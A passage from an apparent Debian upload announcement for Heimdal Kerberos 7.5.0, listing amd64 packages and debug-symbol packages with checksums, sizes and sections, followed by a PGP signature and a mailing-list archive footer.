heimdal-kcm_7.5.0+dfsg-1_amd64.deb
 a18c9fe2f1cc52849db2e182a37ad1f5 395240 debug optional 
heimdal-kdc-dbgsym_7.5.0+dfsg-1_amd64.deb
 f8e837b1cac7d5246bc735039e75df45 130100 net optional 
heimdal-kdc_7.5.0+dfsg-1_amd64.deb
 df7d8e0beb2512af284e33606966200c 160420 debug optional 
heimdal-multidev-dbgsym_7.5.0+dfsg-1_amd64.deb
 61ee86204bbb2c69e78df040f7d14a40 1173320 devel optional 
heimdal-multidev_7.5.0+dfsg-1_amd64.deb
 a0c6a35e9afb6b5ce19d3297f4dbeb81 16568 debug optional 
heimdal-servers-dbgsym_7.5.0+dfsg-1_amd64.deb
 8d7bd210c837428d28c54138f3770fb8 35384 net optional 
heimdal-servers_7.5.0+dfsg-1_amd64.deb
 7a1690091ad4dac3e4220c2619ff7f93 20606 net optional 
heimdal_7.5.0+dfsg-1_amd64.buildinfo
 c6f78b5e715f4276f2dfe36a91263704 608316 debug optional 
libasn1-8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 4cc8c9f107c70b84af8841997069ad6d 205340 libs optional 
libasn1-8-heimdal_7.5.0+dfsg-1_amd64.deb
 76e3662c5decf1f91869fba3d4e5038f 650480 debug optional 
libgssapi3-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 3ee2ad5c84c1cfbb01ed956285b523d0 122344 libs optional 
libgssapi3-heimdal_7.5.0+dfsg-1_amd64.deb
 40ad70cc790917501acc0444f8a9c77a 228944 debug optional 
libhcrypto4-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 43e9d027620ee392ff6e54db0381892e 112536 libs optional 
libhcrypto4-heimdal_7.5.0+dfsg-1_amd64.deb
 1ff06f9c6c267a9cd6fc2041052c8a0a 256956 debug optional 
libhdb9-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 796931b259857c9c480e25803cbf7e3a 90228 libs optional 
libhdb9-heimdal_7.5.0+dfsg-1_amd64.deb
 95ee99a316abd85a154eaf2ffed9f309 75020 debug optional 
libheimbase1-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 b5d08f1f0a4eca8211a3751c43445a48 53836 libs optional 
libheimbase1-heimdal_7.5.0+dfsg-1_amd64.deb
 89bd2831c62cdd7a3200c5bff4fd4f76 30572 debug optional 
libheimntlm0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 3876734d20c5a2308f60008216052735 40492 libs optional 
libheimntlm0-heimdal_7.5.0+dfsg-1_amd64.deb
 976fc1dee4af11e4be7f24e5da99dba0 396880 debug optional 
libhx509-5-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 32c9d79131f6f5b04155611142a116d5 134220 libs optional 
libhx509-5-heimdal_7.5.0+dfsg-1_amd64.deb
 6a6b521a81b2dcab45000524922cd693 80244 debug optional 
libkadm5clnt7-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 5b659f64f86103704a41699e153ab95a 44160 libs optional 
libkadm5clnt7-heimdal_7.5.0+dfsg-1_amd64.deb
 8e2feee5b4c8401378fe9f7ea3ba0e3f 174016 debug optional 
libkadm5srv8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 52a5572db05e1270f94fb0f647789b3b 60504 libs optional 
libkadm5srv8-heimdal_7.5.0+dfsg-1_amd64.deb
 498e2dc04c2d72364509916f8520e563 46824 debug optional 
libkafs0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 112fede1e1fde311a99e08b211511c55 41292 libs optional 
libkafs0-heimdal_7.5.0+dfsg-1_amd64.deb
 6cf1555775e23bdb7f919e88d38aa94c 237056 debug optional 
libkdc2-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 9d82ccd6a62f3b3405f4371975f61c86 81524 libs optional 
libkdc2-heimdal_7.5.0+dfsg-1_amd64.deb
 d4c635c9f6032aa4589c49914b49e132 1139168 debug optional 
libkrb5-26-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 be68bb17a2db71bf59f1dccd18b98304 234040 libs optional 
libkrb5-26-heimdal_7.5.0+dfsg-1_amd64.deb
 8df9e74f311b9f2c368fd39e657dca7b 65764 debug optional 
libotp0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 4d29cf0be8aa75033e12f0e9133c25f1 55444 libs optional 
libotp0-heimdal_7.5.0+dfsg-1_amd64.deb
 41ccb8fc8270590db3aa4f3f5d2b67fb 129756 debug optional 
libroken18-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 1bc42f60831544719bb9d5dec5a16f1f 66076 libs optional 
libroken18-heimdal_7.5.0+dfsg-1_amd64.deb
 8460b71a23380bff3f2d1b5ca5df802d 22948 debug optional 
libsl0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 0179a22f5f3316602543f55aad85e200 37188 libs optional 
libsl0-heimdal_7.5.0+dfsg-1_amd64.deb
 c2b1c09c8482f1dcda3c469024a46741 26944 debug optional 
libwind0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb
 dc0ec30c08198a6bba2a5d4a113b28d2 73992 libs optional 
libwind0-heimdal_7.5.0+dfsg-1_amd64.deb

-----BEGIN PGP SIGNATURE-----

iQJlBAEBCABPFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlozLFwxGmh0dHBzOi8v
d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYwAKCRC3mjwW
oMTyliNND/97HgBI+FupdBtuFd63/jCE9oNcSdh7UWRDdQiSWhn8tdfgSoGLNJY9
OOVJLo6MlsQFf3NARxPtPU6pWPjbsJeZa5zhlcLjtSNnleJ5AThcMAi+VbfH4Zhy
ohRVoYWXl/kNAwGOah3RC4gvPSms/CmIhbNI0F8tcqK+ZG5kIPS5kjciknTpxm3o
quIlqHHaY+32k7NcvNOYDW87+JKADbXfrLBUpxiDEUEHFsy5tsSCdN1TyU/pWJJq
s2ndKuD9/1qGMfrAIKw3Tf0JRAEtl11na7qrM8ORlkYnpKRWE/SkPM/fBdx692zR
mBvQUAVVObGqTFEys29I5e0sYS2WS8wh20IRK97gGxokJmWuF5jA6Gfs77v1+sGF
utiPWtGeArB1sD2BmRp+d934+QLQHb9dBv02H+DTRqv7IvoRK5+CjoOwkND8HcsV
B09bMEPVTv7/YyhSHlObUwncD6qrVQY7ILL6sUgQ3CnGnmhM5r/3iCLdwzWrIYuQ
b4zPpMlyIE5StVyc8Q1Am2ACInTyB5wA1YxD+xelGmVjSSIDd55wqhEP35QJ4qYI
2MCiqBZNGmpqXjm3ItokPzdtcERnf9IB1WrEA+nVCGjCVauKctw5Yw9vXyRtpx3X
5qKY4qHLoYhDegWT9vf3K1/mr8cYGvUxiZAeSYh5Sn4u5VaCBYuCdQ==
=v5io
-----END PGP SIGNATURE-----

--- End Message ---

Reply via email to